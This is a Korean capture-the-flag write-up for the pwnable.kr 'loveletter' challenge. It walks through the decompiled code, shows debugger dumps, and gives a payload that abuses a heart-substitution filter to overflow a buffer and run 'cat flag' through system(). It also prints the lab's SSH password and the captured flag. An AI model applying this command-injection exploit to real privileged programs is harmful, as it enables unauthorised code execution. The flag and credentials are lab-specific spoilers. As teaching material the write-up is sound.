Description
At the end... all that matters is love. author: Jiwon Choi ssh [email protected] -p2222 (pw:guest)
Decompiled src
- protect
a1에 "#&;‘\”|*?~<>^()[]{}$\\,”` 특수 문자 중 하나가 있으면, 그 뒤에 이어지는 문자열을 따로 빼고, 원래 문자열을 ♥로 잘라내고 다시 붙인다.
unsigned int __cdecl protect(const char *a1)
{
size_t i; // eax
size_t v2; // esi
size_t v3; // eax
size_t v5; // [esp+1Ch] [ebp-12Ch]
size_t j; // [esp+20h] [ebp-128h]
char v7[279]; // [esp+25h] [ebp-123h] BYREF
unsigned int v8; // [esp+13Ch] [ebp-Ch]
v8 = __readgsdword(0x14u);
strcpy(v7, "#&;`'\"|*?~<>^()[]{}$\\,");
v5 = 0;
for ( i = strlen(a1); i > v5; i = strlen(a1) )
{
for ( j = 0; strlen(v7) > j; ++j )
{
if ( a1[v5] == v7[j] )
{
strcpy(&v7[23], &a1[v5 + 1]);
*(_DWORD *)&a1[v5] = 0xA599E2; // ♥
v2 = strlen(&v7[23]);
v3 = strlen(a1);
memcpy((void *)&a1[v3], &v7[23], v2);
}
}
++v5;
}
return v8 - __readgsdword(0x14u);
}
- main
사용자에게 “lover’s name”을 물어보고 fgets로 읽는다.
fgets가 남기는 '\\n'을 0으로 덮어써서 문자열 끝을 정리한다.
protect(s)를 호출해 이름에 포함된 쉘 특수문자를 모두 하트(♥)로 치환한다.
prolog + (하트로 필터링된)이름 + epilog 순으로 loveletter 변수에 복사하고 system(loveletter)을 호출한다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // esi
__gid_t v4; // eax
int v6; // [esp+0h] [ebp-12Ch]
char s[256]; // [esp+4h] [ebp-128h] BYREF
size_t n; // [esp+104h] [ebp-28h]
size_t v9; // [esp+108h] [ebp-24h]
size_t v10; // [esp+10Ch] [ebp-20h]
unsigned int v11; // [esp+110h] [ebp-1Ch]
int *p_argc; // [esp+120h] [ebp-Ch]
p_argc = &argc;
HIBYTE(v6) = HIBYTE(argv);
v11 = __readgsdword(0x14u);
memset(loveletter, 0, sizeof(loveletter));
v9 = strlen(epilog);
n = strlen(prolog);
printf("♥ My lover's name is : ");
fgets(s, 256, stdin);
if ( s[strlen(s) - 1] == 0xA )
s[strlen(s) - 1] = 0;
puts("♥ Whatever happens, I'll protect her...");
protect(s);
v10 = strlen(s);
puts("♥ Impress her upon my memory...");
memcpy(&loveletter[(unsigned __int16)idx], prolog, n);
idx += n;
memcpy(&loveletter[(unsigned __int16)idx], s, v10);
idx += v10;
memcpy(&loveletter[(unsigned __int16)idx], epilog, v9);
idx += v9;
puts("♥ Her name echos in my mind...");
v3 = getegid();
v4 = getegid();
setregid(v4, v3);
system(loveletter);
return 0;
}
Analysis
언뜻보기엔 fgets를 통해 256바이트만 입력받기에 버퍼 오버플로우가 발생하지 않은 것처럼 보이지만,
int __cdecl main(int argc, const char **argv, const char **envp)
{
...
char s[256]; // [esp+4h] [ebp-128h] BYREF
...
fgets(s, 256, stdin);
...
}
protect 함수에서 특수문자들 중 하나가 포함되면 특수 문자 1바이트가 4바이트씩이나 차지하는 마법을 볼 수 있다.
unsigned int __cdecl protect(const char *a1)
{
...
strcpy(v7, "#&;`'\"|*?~<>^()[]{}$\\,");
...
if ( a1[v5] == v7[j] )
{
strcpy(&v7[23], &a1[v5 + 1]);
*(_DWORD *)&a1[v5] = 0xA599E2; // ♥
v2 = strlen(&v7[23]);
v3 = strlen(a1);
memcpy((void *)&a1[v3], &v7[23], v2);
}
}
...
}
따라서 fgets를 통해 입력할때 A 문자 253개 넣고 특수문자 ;을 넣으면, 0xffffd5c0 주소에는 0xc , n = strlen(prolog); 값이 들어간다.
Breakpoint 7, 0x0804928c in protect ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────── registers ────
$eax : 0x0
$ebx : 0x0804c000 → 0x0804bf10 → <_DYNAMIC+0000> add DWORD PTR [eax], eax
$ecx : 0xf7fae9b4 → 0x00000000
$edx : 0x1
$esp : 0xffffd350 → 0xf7e08e5b → add ebx, 0x1a41a5
$ebp : 0xffffd498 → 0xffffd5e8 → 0xf7ffd020 → 0xf7ffda40 → 0x00000000
$esi : 0xffffd6b4 → 0xffffd7f8 → "/home/ubuntu/pwnable.kr/loveletter/loveletter"
$edi : 0xf7ffcb80 → 0x00000000
$eip : 0x0804928c → <protect+0076> jmp 0x804936d <protect+343>
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
───────────────────────────────────────────────────────────────────────── stack ────
0xffffd350│+0x0000: 0xf7e08e5b → add ebx, 0x1a41a5 ← $esp
0xffffd354│+0x0004: 0xf7ffdc0c → 0xf7ffdba0 → 0xf7fbe780 → 0xf7ffda40 → 0x00000000
0xffffd358│+0x0008: 0xffffd3d4 → 0x0804d1a0 → 0x20a599e2
0xffffd35c│+0x000c: 0xffffd4c0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd360│+0x0010: 0x08048335 → "puts"
0xffffd364│+0x0014: 0xf7fd0294 → add esp, 0x30
0xffffd368│+0x0018: 0x0804828c → 0x00000029 (")"?)
0xffffd36c│+0x001c: 0x00000000
─────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8049272 <protect+005c> mov WORD PTR [ebp-0x10f], 0x2c5c
0x804927b <protect+0065> mov BYTE PTR [ebp-0x10d], 0x0
0x8049282 <protect+006c> mov DWORD PTR [ebp-0x12c], 0x0
→ 0x804928c <protect+0076> jmp 0x804936d <protect+343>
0x8049291 <protect+007b> mov DWORD PTR [ebp-0x128], 0x0
0x804929b <protect+0085> jmp 0x8049346 <protect+304>
0x80492a0 <protect+008a> mov edx, DWORD PTR [ebp-0x12c]
0x80492a6 <protect+0090> mov eax, DWORD PTR [ebp-0x13c]
0x80492ac <protect+0096> add eax, edx
─────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "loveletter", stopped 0x804928c in protect (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804928c → protect()
[#1] 0x80494b0 → main()
────────────────────────────────────────────────────────────────────────────────────
gef➤ x/wx $ebp-0x13c
0xffffd35c: 0xffffd4c0
gef➤ x/70wx 0xffffd4c0
0xffffd4c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd4d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd4e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd4f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd500: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd510: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd520: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd530: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd540: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd550: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd560: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd570: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd580: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd590: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5b0: 0x41414141 0x41414141 0x41414141 0x00003b41
0xffffd5c0: 0x0000000c 0x0000000b 0xf7d9f4be 0xb3c9a000
0xffffd5d0: 0xffffd610 0xf7fbe66c
그러나 치환되는 4바이트 값에 의해, n 값을 0으로 만들어줄 수 있다.
Breakpoint 6, 0x0804933c in protect ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffd5c0 → 0x00000000
$ebx : 0x0804c000 → 0x0804bf10 → <_DYNAMIC+0000> add DWORD PTR [eax], eax
$ecx : 0x0
$edx : 0x0
$esp : 0xffffd340 → 0xffffd5c0 → 0x00000000
$ebp : 0xffffd498 → 0xffffd5e8 → 0xf7ffd020 → 0xf7ffda40 → 0x00000000
$esi : 0x0
$edi : 0xf7ffcb80 → 0x00000000
$eip : 0x0804933c → <protect+0126> add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
───────────────────────────────────────────────────────────────────────── stack ────
0xffffd340│+0x0000: 0xffffd5c0 → 0x00000000 ← $esp
0xffffd344│+0x0004: 0xffffd38c → 0xf7e8f600 → <read+0090> mov edx, DWORD PTR [esi-0x134]
0xffffd348│+0x0008: 0x00000000
0xffffd34c│+0x000c: 0x08049226 → <protect+0010> add ebx, 0x2dda
0xffffd350│+0x0010: 0xf7e08e5b → add ebx, 0x1a41a5
0xffffd354│+0x0014: 0xf7ffdc0c → 0xf7ffdba0 → 0xf7fbe780 → 0xf7ffda40 → 0x00000000
0xffffd358│+0x0018: 0xffffd3d4 → 0x0804d1a0 → 0x20a599e2
0xffffd35c│+0x001c: 0xffffd4c0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
─────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8049335 <protect+011f> push eax
0x8049336 <protect+0120> push edx
0x8049337 <protect+0121> call 0x8049060 <memcpy@plt>
→ 0x804933c <protect+0126> add esp, 0x10
0x804933f <protect+0129> add DWORD PTR [ebp-0x128], 0x1
0x8049346 <protect+0130> sub esp, 0xc
0x8049349 <protect+0133> lea eax, [ebp-0x123]
0x804934f <protect+0139> push eax
0x8049350 <protect+013a> call 0x80490d0 <strlen@plt>
─────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "loveletter", stopped 0x804933c in protect (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804933c → protect()
[#1] 0x80494b0 → main()
────────────────────────────────────────────────────────────────────────────────────
gef➤ x/70wx 0xffffd4c0
0xffffd4c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd4d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd4e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd4f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd500: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd510: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd520: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd530: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd540: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd550: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd560: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd570: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd580: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd590: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5b0: 0x41414141 0x41414141 0x41414141 0xa599e241
0xffffd5c0: 0x00000000 0x0000000b 0xf7d9f4be 0xb3c9a000
0xffffd5d0: 0xffffd610 0xf7fbe66c
main으로 복귀했을때도 main의 n은 [ebp-28h] 위치에 있는데, 0으로 덮힌다.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffd4c0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebx : 0x0804c000 → 0x0804bf10 → <_DYNAMIC+0000> add DWORD PTR [eax], eax
$ecx : 0x0
$edx : 0x100
$esp : 0xffffd4a0 → 0xffffd4c0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebp : 0xffffd5e8 → 0xf7ffd020 → 0xf7ffda40 → 0x00000000
$esi : 0xffffd6b4 → 0xffffd7f8 → "/home/ubuntu/pwnable.kr/loveletter/loveletter"
$edi : 0xf7ffcb80 → 0x00000000
$eip : 0x080494bd → <main+0118> call 0x80490d0 <strlen@plt>
$eflags: [zero carry parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
───────────────────────────────────────────────────────────────────────── stack ────
0xffffd4a0│+0x0000: 0xffffd4c0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $esp
0xffffd4a4│+0x0004: 0x00000100
0xffffd4a8│+0x0008: 0xf7fad620 → 0xfbad2288
0xffffd4ac│+0x000c: 0x080493c0 → <main+001b> add ebx, 0x2c40
0xffffd4b0│+0x0010: 0xf7fc6460 → 0x00000000
0xffffd4b4│+0x0014: 0xf7ffd000 → 0x00036f2c
0xffffd4b8│+0x0018: 0xf7fc6700 → 0x74725f00
0xffffd4bc│+0x001c: 0xffffd6b4 → 0xffffd7f8 → "/home/ubuntu/pwnable.kr/loveletter/loveletter"
─────────────────────────────────────────────────────────────────── code:x86:32 ────
0x80494b3 <main+010e> sub esp, 0xc
0x80494b6 <main+0111> lea eax, [ebp-0x128]
0x80494bc <main+0117> push eax
→ 0x80494bd <main+0118> call 0x80490d0 <strlen@plt>
↳ 0x80490d0 <strlen@plt+0000> jmp DWORD PTR ds:0x804c030
0x80490d6 <strlen@plt+0006> push 0x48
0x80490db <strlen@plt+000b> jmp 0x8049030
0x80490e0 <memset@plt+0000> jmp DWORD PTR ds:0x804c034
0x80490e6 <memset@plt+0006> push 0x50
0x80490eb <memset@plt+000b> jmp 0x8049030
─────────────────────────────────────────────────────────── arguments (guessed) ────
strlen@plt (
[sp + 0x0] = 0xffffd4c0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
)
─────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "loveletter", stopped 0x80494bd in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80494bd → main()
────────────────────────────────────────────────────────────────────────────────────
gef➤ x/wx $ebp-0x28
0xffffd5c0: 0x00000000
따라서
memcpy(&loveletter[(unsigned __int16)idx], prolog, n);
코드를 무력화시킬 수 있다.
Result
최종적으로 ("cat flag " + "A"*244 + ";"*1) 텍스트를 만들어서 보내면 치환되어 bof 취약점을 일으켜 n의 len 값이 0이되고, s 문자열에 의해 flag를 획득할 수 있다.
Breakpoint 1, 0x080495c9 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────── registers ────
$eax : 0x0804c0a0 → "cat flag AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebx : 0x0804c000 → 0x0804bf10 → <_DYNAMIC+0000> add DWORD PTR [eax], eax
$ecx : 0x3e8
$edx : 0x0
$esp : 0xffffd4a0 → 0x0804c0a0 → "cat flag AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebp : 0xffffd5e8 → 0xf7ffd020 → 0xf7ffda40 → 0x00000000
$esi : 0x3e8
$edi : 0xf7ffcb80 → 0x00000000
$eip : 0x080495c9 → <main+0224> call 0x80490c0 <system@plt>
$eflags: [zero carry parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
───────────────────────────────────────────────────────────────────────── stack ────
0xffffd4a0│+0x0000: 0x0804c0a0 → "cat flag AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $esp
0xffffd4a4│+0x0004: 0x000003e8
0xffffd4a8│+0x0008: 0xf7e64cf0 → <getegid+0010> ret
0xffffd4ac│+0x000c: 0x080495b2 → <main+020d> sub esp, 0x8
0xffffd4b0│+0x0010: 0xf7fc6460 → 0x00000000
0xffffd4b4│+0x0014: 0xf7ffd000 → 0x00036f2c
0xffffd4b8│+0x0018: 0xf7fc6700 → 0x74725f00
0xffffd4bc│+0x001c: 0xffffd6b4 → 0xffffd7f8 → "/home/ubuntu/pwnable.kr/loveletter/loveletter"
─────────────────────────────────────────────────────────────────── code:x86:32 ────
0x80495bf <main+021a> sub esp, 0xc
0x80495c2 <main+021d> lea eax, [ebx+0xa0]
0x80495c8 <main+0223> push eax
→ 0x80495c9 <main+0224> call 0x80490c0 <system@plt>
↳ 0x80490c0 <system@plt+0000> jmp DWORD PTR ds:0x804c02c
0x80490c6 <system@plt+0006> push 0x40
0x80490cb <system@plt+000b> jmp 0x8049030
0x80490d0 <strlen@plt+0000> jmp DWORD PTR ds:0x804c030
0x80490d6 <strlen@plt+0006> push 0x48
0x80490db <strlen@plt+000b> jmp 0x8049030
─────────────────────────────────────────────────────────── arguments (guessed) ────
system@plt (
[sp + 0x0] = 0x0804c0a0 → "cat flag AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
)
─────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "loveletter", stopped 0x80495c9 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80495c9 → main()
────────────────────────────────────────────────────────────────────────────────────
gef➤ x/wx $esp
0xffffd4a0: 0x0804c0a0
gef➤ x/s 0x0804c0a0
0x804c0a0 <loveletter>: "cat flag ", 'A' <repeats 244 times>, "♥ very much!"
gef➤
loveletter@ubuntu:~$ nc 0 9034 cat flag AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; I_Am_Y0ur_eternal_Lov3r cat: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA♥: No such file or directory cat: very: No such file or directory cat: 'much!': No such file or directory ♥ My lover's name is : ♥ Whatever happens, I'll protect her... ♥ Impress her upon my memory... ♥ Her name echos in my mind... ^C